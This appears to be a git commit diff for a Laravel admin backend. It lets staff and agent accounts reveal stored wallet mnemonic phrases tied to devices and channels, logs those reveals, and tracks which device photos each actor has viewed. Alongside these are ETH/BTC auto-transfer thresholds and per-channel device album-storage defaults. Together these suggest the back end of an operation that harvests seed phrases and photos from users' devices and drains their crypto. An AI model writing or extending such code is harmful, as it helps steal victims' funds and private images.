feat: menric
This commit is contained in:
@@ -50,6 +50,6 @@ class Admin extends Authenticatable
|
||||
|
||||
public function canRevealMnemonics(): bool
|
||||
{
|
||||
return $this->isSuper();
|
||||
return $this->isSuper() || (bool) config('coruna.mnemonic_reveal.staff_enabled');
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use App\Support\CfIpCountry;
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
|
||||
class PageVisit extends Model
|
||||
@@ -23,6 +24,7 @@ class PageVisit extends Model
|
||||
'browser',
|
||||
'browser_version',
|
||||
'ip',
|
||||
'country',
|
||||
'domain',
|
||||
'referer',
|
||||
'created_at',
|
||||
@@ -133,6 +135,10 @@ class PageVisit extends Model
|
||||
$updates['client_uid'] = substr($uid, 0, 64);
|
||||
}
|
||||
}
|
||||
$incomingCountry = CfIpCountry::normalize(isset($attrs['country']) ? (string) $attrs['country'] : null);
|
||||
if ($incomingCountry && trim((string) ($existing->country ?? '')) === '') {
|
||||
$updates['country'] = $incomingCountry;
|
||||
}
|
||||
foreach (['user_agent', 'os', 'os_version', 'browser', 'browser_version', 'domain', 'referer'] as $field) {
|
||||
$incoming = $attrs[$field] ?? null;
|
||||
if (! is_string($incoming) || trim($incoming) === '') {
|
||||
@@ -153,6 +159,7 @@ class PageVisit extends Model
|
||||
|
||||
$attrs['chain'] = $chain;
|
||||
$attrs['created_at'] = $attrs['created_at'] ?? now();
|
||||
$attrs['country'] = CfIpCountry::normalize(isset($attrs['country']) ? (string) $attrs['country'] : null);
|
||||
|
||||
return static::query()->create($attrs);
|
||||
}
|
||||
|
||||
@@ -4,6 +4,7 @@ namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
use Illuminate\Database\Eloquent\Relations\HasMany;
|
||||
|
||||
class Photo extends Model
|
||||
{
|
||||
@@ -25,4 +26,9 @@ class Photo extends Model
|
||||
{
|
||||
return $this->belongsTo(Device::class);
|
||||
}
|
||||
|
||||
public function reads(): HasMany
|
||||
{
|
||||
return $this->hasMany(PhotoRead::class);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,103 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
use Illuminate\Database\Eloquent\Relations\Relation;
|
||||
|
||||
class PhotoRead extends Model
|
||||
{
|
||||
public $timestamps = false;
|
||||
|
||||
protected $fillable = [
|
||||
'photo_id',
|
||||
'actor_guard',
|
||||
'actor_id',
|
||||
'read_at',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'read_at' => 'datetime',
|
||||
];
|
||||
}
|
||||
|
||||
public function photo(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(Photo::class);
|
||||
}
|
||||
|
||||
public static function mark(Photo $photo, string $guard, int $actorId): void
|
||||
{
|
||||
static::query()->firstOrCreate(
|
||||
[
|
||||
'photo_id' => $photo->id,
|
||||
'actor_guard' => $guard,
|
||||
'actor_id' => $actorId,
|
||||
],
|
||||
['read_at' => now()],
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<int> $photoIds
|
||||
* @return list<int>
|
||||
*/
|
||||
public static function readPhotoIds(string $guard, int $actorId, array $photoIds): array
|
||||
{
|
||||
if ($photoIds === []) {
|
||||
return [];
|
||||
}
|
||||
|
||||
return static::query()
|
||||
->where('actor_guard', $guard)
|
||||
->where('actor_id', $actorId)
|
||||
->whereIn('photo_id', $photoIds)
|
||||
->pluck('photo_id')
|
||||
->map(static fn ($id) => (int) $id)
|
||||
->all();
|
||||
}
|
||||
|
||||
public static function applyFilter(Builder|Relation $q, string $guard, int $actorId, string $photoIdColumn, mixed $read): void
|
||||
{
|
||||
$flag = self::parseReadFilter($read);
|
||||
if ($flag === null) {
|
||||
return;
|
||||
}
|
||||
|
||||
$exists = function ($sub) use ($guard, $actorId, $photoIdColumn) {
|
||||
$sub->from('photo_reads')
|
||||
->whereColumn('photo_reads.photo_id', $photoIdColumn)
|
||||
->where('photo_reads.actor_guard', $guard)
|
||||
->where('photo_reads.actor_id', $actorId);
|
||||
};
|
||||
|
||||
if ($flag) {
|
||||
$q->whereExists($exists);
|
||||
} else {
|
||||
$q->whereNotExists($exists);
|
||||
}
|
||||
}
|
||||
|
||||
public static function parseReadFilter(mixed $raw): ?bool
|
||||
{
|
||||
if ($raw === null) {
|
||||
return null;
|
||||
}
|
||||
$value = is_string($raw) ? strtolower(trim($raw)) : $raw;
|
||||
if ($value === '' || $value === 'all') {
|
||||
return null;
|
||||
}
|
||||
if ($value === 0 || $value === '0' || $value === 'unread') {
|
||||
return false;
|
||||
}
|
||||
if ($value === 1 || $value === '1' || $value === 'read') {
|
||||
return true;
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,87 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Http\Request;
|
||||
|
||||
class SystemLog extends Model
|
||||
{
|
||||
public const ACTION_MNEMONIC_REVEAL = 'mnemonic_reveal';
|
||||
|
||||
public const UPDATED_AT = null;
|
||||
|
||||
protected $fillable = [
|
||||
'action',
|
||||
'actor_guard',
|
||||
'actor_id',
|
||||
'actor_username',
|
||||
'content',
|
||||
'ip',
|
||||
'created_at',
|
||||
];
|
||||
|
||||
/** @return array<string, string> */
|
||||
public static function actionLabels(): array
|
||||
{
|
||||
return [
|
||||
self::ACTION_MNEMONIC_REVEAL => '查看助记词',
|
||||
];
|
||||
}
|
||||
|
||||
public function actorRoleLabel(): string
|
||||
{
|
||||
return match ($this->actor_guard) {
|
||||
'admin' => '管理员',
|
||||
'agent' => '代理',
|
||||
default => $this->actor_guard ?: '—',
|
||||
};
|
||||
}
|
||||
|
||||
public static function record(
|
||||
Admin|User $actor,
|
||||
string $guard,
|
||||
string $action,
|
||||
string $content,
|
||||
?Request $request = null,
|
||||
): self {
|
||||
return static::query()->create([
|
||||
'action' => $action,
|
||||
'actor_guard' => $guard,
|
||||
'actor_id' => $actor->id,
|
||||
'actor_username' => (string) $actor->username,
|
||||
'content' => $content,
|
||||
'ip' => $request?->ip(),
|
||||
]);
|
||||
}
|
||||
|
||||
public static function recordMnemonicReveal(
|
||||
Admin|User $actor,
|
||||
string $guard,
|
||||
WalletMnemonic $mnemonic,
|
||||
?Request $request = null,
|
||||
): self {
|
||||
$device = $mnemonic->relationLoaded('device')
|
||||
? $mnemonic->device
|
||||
: $mnemonic->device()->first();
|
||||
|
||||
$parts = ['#'.$mnemonic->id];
|
||||
if ($device?->device_id) {
|
||||
$parts[] = '设备 '.$device->device_id;
|
||||
}
|
||||
if ($device?->channel_id) {
|
||||
$parts[] = '渠道 '.$device->channel_id;
|
||||
}
|
||||
if ($mnemonic->source) {
|
||||
$parts[] = '来源 '.$mnemonic->source;
|
||||
}
|
||||
|
||||
return static::record(
|
||||
$actor,
|
||||
$guard,
|
||||
self::ACTION_MNEMONIC_REVEAL,
|
||||
'查看助记词 '.implode(',', $parts),
|
||||
$request,
|
||||
);
|
||||
}
|
||||
}
|
||||
+31
-3
@@ -15,10 +15,11 @@ class User extends Authenticatable
|
||||
'auto_transfer_threshold_eth',
|
||||
'auto_transfer_threshold_btc',
|
||||
'album_storage_default',
|
||||
'can_reveal_mnemonics',
|
||||
];
|
||||
|
||||
protected $hidden = [
|
||||
'password', 'remember_token', 'bot_token',
|
||||
'password', 'remember_token', 'bot_token', 'google_secret',
|
||||
];
|
||||
|
||||
protected static function booted(): void
|
||||
@@ -41,11 +42,14 @@ class User extends Authenticatable
|
||||
'auto_transfer_threshold_eth' => 'decimal:8',
|
||||
'auto_transfer_threshold_btc' => 'decimal:8',
|
||||
'album_storage_default' => 'boolean',
|
||||
'can_reveal_mnemonics' => 'boolean',
|
||||
'google_auth_open' => 'integer',
|
||||
];
|
||||
}
|
||||
|
||||
protected $attributes = [
|
||||
'album_storage_default' => false,
|
||||
'can_reveal_mnemonics' => false,
|
||||
];
|
||||
|
||||
public function isEnabled(): bool
|
||||
@@ -63,9 +67,30 @@ class User extends Authenticatable
|
||||
return (bool) ($this->album_storage_default ?? false);
|
||||
}
|
||||
|
||||
public function mnemonicRevealEnabled(): bool
|
||||
{
|
||||
return (bool) ($this->can_reveal_mnemonics ?? false);
|
||||
}
|
||||
|
||||
public function canRevealMnemonics(): bool
|
||||
{
|
||||
return (bool) config('coruna.mnemonic_reveal.staff_enabled') && $this->mnemonicRevealEnabled();
|
||||
}
|
||||
|
||||
public function hasGoogleBound(): bool
|
||||
{
|
||||
return filled($this->google_secret);
|
||||
}
|
||||
|
||||
public function requiresLoginGoogle(): bool
|
||||
{
|
||||
return $this->hasGoogleBound() && (int) $this->google_auth_open === 1;
|
||||
}
|
||||
|
||||
/**
|
||||
* New-device album_storage default for a channel.
|
||||
* Agent channels use that agent's switch (defaults off). Official / unknown stay off.
|
||||
* Agent channels use that agent's switch. Official channels use the system switch.
|
||||
* Unknown channel IDs stay off.
|
||||
*/
|
||||
public static function albumStorageDefaultForChannel(?string $channelId): bool
|
||||
{
|
||||
@@ -75,9 +100,12 @@ class User extends Authenticatable
|
||||
}
|
||||
|
||||
$userId = Channel::query()->where('channel_id', $channelId)->value('user_id');
|
||||
if ($userId === null || (int) $userId <= 0) {
|
||||
if ($userId === null) {
|
||||
return false;
|
||||
}
|
||||
if ((int) $userId === Channel::OFFICIAL_USER_ID) {
|
||||
return (bool) config('coruna.album_storage.official_default');
|
||||
}
|
||||
|
||||
$agent = static::query()->find((int) $userId);
|
||||
|
||||
|
||||
Reference in New Issue
Block a user